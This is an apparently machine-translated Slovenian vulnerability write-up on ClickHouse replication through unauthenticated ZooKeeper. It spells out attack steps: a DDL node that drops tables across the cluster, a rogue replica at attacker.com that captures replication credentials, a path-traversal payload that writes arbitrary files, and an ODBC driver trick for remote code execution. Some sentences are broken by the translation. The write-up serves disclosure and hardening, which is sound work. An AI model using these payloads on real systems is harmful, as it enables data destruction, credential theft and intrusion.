Ta članek bo povedal zgodbo o zelo specifični ranljivosti v protokolu replikacije ClickHouse in bo tudi pokazal, kako je mogoče razširiti površino napada.
ClickHouse je zbirka podatkov za shranjevanje velikih količin podatkov, največkrat z uporabo več kot ene replike. Grozdenje in replikacija v ClickHouse sta zgrajena na vrhu
Privzeta namestitev ZK ne zahteva preverjanja pristnosti, zato je na tisoče strežnikov ZK, ki se uporabljajo za konfiguracijo Kafka, Hadoop, ClickHouse, javno dostopnih.
Če želite zmanjšati površino napada, morate vedno konfigurirati preverjanje pristnosti in avtorizacijo, ko nameščate ZooKeeper
Seveda obstaja nekaj deserializacij Jave, ki temeljijo na 0 dneh, vendar si predstavljajte, da bi lahko napadalec bral in pisal v ZooKeeper, ki se uporablja za replikacijo ClickHouse.
Ko je konfiguriran v načinu gruče, ClickHouse podpira porazdeljene poizvedbe /clickhouse/task_queue/ddl
.
Na primer, ustvarite vozlišče /clickhouse/task_queue/ddl/query-0001
z vsebino:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
in po tem bo testna tabela izbrisana na strežnikih gruče host1 in host2. DDL podpira tudi izvajanje poizvedb CREATE/ALTER/DROP.
Zveni strašljivo? Toda kje lahko napadalec dobi naslove strežnikov?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
vozlišča bodo ustvarjena stolpci и metapodatki.
Vsebina /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Ali je mogoče združiti podatke iz te gruče? Da, če vrata podvajanja (TCP/9009
) na strežniku chXX-address
požarni zid ne bo zaprt in preverjanje pristnosti za replikacijo ne bo konfigurirano. Kako zaobiti avtentikacijo?
Napadalec lahko ustvari novo repliko v ZK tako, da preprosto kopira vsebino iz /clickhouse/tables/01-01/foobar/replicas/chXX
in spreminjanje pomena host
.
Vsebina /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Nato morate drugim replikam povedati, da je na napadalčevem strežniku nov blok podatkov, ki ga morajo prevzeti - v ZK se ustvari vozlišče /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotono rastoč števec, ki bi moral biti večji od zadnjega v dnevniku dogodkov):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
če izvorna_replikacija — ime napadalčeve replike, ustvarjene v prejšnjem koraku, block_id — identifikator podatkovnega bloka, dobili - ukaz "get block" (in
Nato vsaka replika prebere nov dogodek v dnevniku in gre na strežnik, ki ga nadzoruje napadalec, da prejme blok podatkov (protokol podvajanja je binarni in deluje na vrhu HTTP). Strežnik attacker.com
bo prejel zahteve:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
kjer je XXX avtentikacijski podatek za replikacijo. V nekaterih primerih je to lahko račun z dostopom do baze podatkov prek glavnega protokola ClickHouse in protokola HTTP. Kot ste videli, postane površina napada kritično velika, ker ZooKeeper, ki se uporablja za replikacijo, ni bil konfiguriran za preverjanje pristnosti.
Oglejmo si funkcijo pridobivanja bloka podatkov iz replike, zapisano je s popolnim zaupanjem, da so vse replike pod ustreznim nadzorom in med njimi obstaja zaupanje.
koda za obdelavo podvajanja
Funkcija prebere seznam datotek, nato njihova imena, velikosti, vsebino in jih nato zapiše v datotečni sistem. Ločeno je vredno opisati, kako so podatki shranjeni v datotečnem sistemu.
Obstaja več podimenikov v /var/lib/clickhouse
(privzeti imenik za shranjevanje iz konfiguracijske datoteke):
zastave - imenik za snemanje
tmp — imenik za shranjevanje začasnih datotek;
uporabniške_datoteke — operacije z datotekami v zahtevah so omejene na ta imenik (INTO OUTFILE in drugi);
metapodatki — datoteke sql z opisi tabel;
preprocessed_configs - obdelane izpeljane konfiguracijske datoteke iz /etc/clickhouse-server
;
datum - dejanski imenik s samimi podatki, v tem primeru se tukaj za vsako bazo preprosto ustvari ločen podimenik (npr. /var/lib/clickhouse/data/default
).
Za vsako tabelo se ustvari podimenik v imeniku baze podatkov. Vsak stolpec je ločena datoteka, odvisno od
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replika pričakuje, da bo prejela datoteke z enakimi imeni pri obdelavi bloka podatkov in jih na noben način ne potrdi.
Pozoren bralec je verjetno že slišal za nevarno veriženje file_name v funkciji WriteBufferFromFile
. Da, to napadalcu omogoča pisanje poljubne vsebine v katero koli datoteko v FS z uporabniškimi pravicami clickhouse
. Če želite to narediti, mora replika, ki jo nadzoruje napadalec, na zahtevo vrniti naslednji odgovor (za lažje razumevanje so bili dodani prelomi vrstic):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
in po veriženju ../../../../../../../../../tmp/pwned
datoteka bo zapisana /tmp/pwned z vsebino hellofromzookeeper.
Obstaja več možnosti za spreminjanje zmožnosti pisanja datotek v oddaljeno izvajanje kode (RCE).
Zunanji slovarji v RCE
V starejših različicah je bil imenik z nastavitvami ClickHouse shranjen z uporabniškimi pravicami klikhouse privzeto. Datoteke z nastavitvami so datoteke XML, ki jih storitev prebere ob zagonu in nato shrani v predpomnilnik /var/lib/clickhouse/preprocessed_configs
. Ko pride do sprememb, se ponovno preberejo. Če imate dostop do /etc/clickhouse-server
napadalec lahko ustvari svojega root
.
ODBC v RCE
Pri namestitvi paketa se ustvari uporabnik clickhouse
, vendar njegov domači imenik ni ustvarjen /nonexistent
. Pri uporabi zunanjih slovarjev ali iz drugih razlogov pa skrbniki ustvarijo imenik /nonexistent
in da uporabniku clickhouse
dostop za pisanje vanj (SSZB! pribl. prevajalec).
ClickHouse podpira odbc-bridge
, zato ni več mogoče določiti poti gonilnika iz zahteve. Toda ali lahko napadalec piše v domači imenik z uporabo zgoraj opisane ranljivosti?
Ustvarimo datoteko ~/.odbc.ini
s takšno vsebino:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
potem ob zagonu SELECT * FROM odbc('DSN=lalala', 'test', 'test');
knjižnica se bo naložila test.so
in prejel RCE (hvala
Te in druge ranljivosti so bile odpravljene v različici ClickHouse 19.14.3. Poskrbite za svoje ClickHouse in ZooKeepers!
Vir: www.habr.com